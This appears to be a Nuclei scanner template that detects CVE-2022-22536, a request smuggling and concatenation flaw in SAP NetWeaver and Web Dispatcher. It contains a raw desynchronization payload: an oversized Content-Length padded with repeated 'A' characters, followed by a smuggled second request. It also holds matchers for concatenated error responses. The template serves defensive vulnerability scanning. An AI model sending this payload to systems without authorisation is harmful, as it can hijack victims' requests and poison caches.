64 lines
2.3 KiB
YAML
64 lines
2.3 KiB
YAML
id: CVE-2022-22536
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info:
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name: SAP Memory Pipes (MPI) Desynchronization
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author: pdteam
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severity: critical
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description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation
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attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack
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could result in complete compromise of Confidentiality, Integrity and Availability of the system.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2022-22536
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- https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022
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- https://github.com/Onapsis/onapsis_icmad_scanner
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- https://blogs.sap.com/2022/02/11/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation-in-sap-netweaver-sap-content-server-and-sap-web-dispatcher/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10.0
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cve-id: CVE-2022-22536
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cwe-id: CWE-444
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tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes
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requests:
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- raw:
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- |+
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GET {{sap_path}} HTTP/1.1
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Host: {{Hostname}}
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Content-Length: 82646
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Connection: keep-alive
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{{repeat("A", 82642)}}
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GET / HTTP/1.1
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Host: {{Hostname}}
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payloads:
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sap_path: # based on https://github.com/Onapsis/onapsis_icmad_scanner
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- /sap/admin/public/default.html
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- /sap/public/bc/ur/Login/assets/corbu/sap_logo.png
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unsafe: true
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read-all: true
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: dsl
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dsl:
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- "contains(tolower(body), 'administration')" # confirms 1st path
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- "contains(tolower(all_headers), 'content-type: image/png')" # confirms 2nd path
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condition: or
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- type: word
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part: body
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words:
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- "HTTP/1.0 400 Bad Request" # error in concatenated response
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- "HTTP/1.0 500 Internal Server Error"
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- "HTTP/1.0 500 Dispatching Error"
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condition: or
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# Enhanced by mp on 2022/03/08
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